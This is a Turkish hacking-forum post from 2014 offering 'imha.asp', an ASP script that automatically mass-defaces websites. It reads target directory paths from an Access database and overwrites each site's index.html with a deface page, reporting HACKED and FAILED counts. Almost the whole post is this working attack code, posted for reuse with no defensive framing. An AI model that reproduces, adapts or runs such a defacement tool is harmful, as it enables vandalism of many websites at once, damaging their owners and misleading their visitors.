THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

Auto Deface(Asp Code)

Oğuz~#> - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2009
Nereden:
Bursa
Yaş:
23
Mesajlar:
4.772
Konular:
1485
Teşekkür (Etti):
1877
Teşekkür (Aldı):
2499
Ticaret:
(0) %
03-06-2014 16:18
#1
Auto Deface(Asp Code)
Asp ile FSO Kullanarak Otomatik Mass Deface Kodu

----------------------imha.asp-----------------------

Alıntı:
<%Dim objFSO,Cnn,Rs

Set objFSO = CreateObject ("Scripting.FileSystemObject")

set Cnn = Server.CreateObject("adodb.connection")

cnn.Provider = "Microsoft.Jet.Oledb.4.0"

cnn.ConnectionString = Server.MapPath("imha.mdb")

cnn.Open

set Rs = server.CreateObject("adodb.recordset")

Rs.Open "select * from imha",Cnn,1,3

on error resume next

i=0:k=0

do while not rs.EOF

hedef = rs("yol")

hedef = Replace(hedef,"/","\")

hedef = Replace(hedef,"\\","\")

if Right(hedef,1)<>"\" then hedef = trim(hedef) & "\"

on error goto 0

on error resume next

objFSO.CopyFile server.MapPath("azd.htm"), hedef&"index.html"

if err<>0 then

durum = "<font color=red>FAILED</font>":i=i+1

else

durum = "<font color=blue>HACKED</font>":k=k+1

end if

response.Write rs("site") & " > " & durum & " > " & hedef & "<br>"

rs.MoveNext
loop

Response.Write "<br><font color=blue>HACKED</font>[" & k & "]"

Response.Write "<br><font color=red>FAILED</font>[" & i & "]"

%>

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler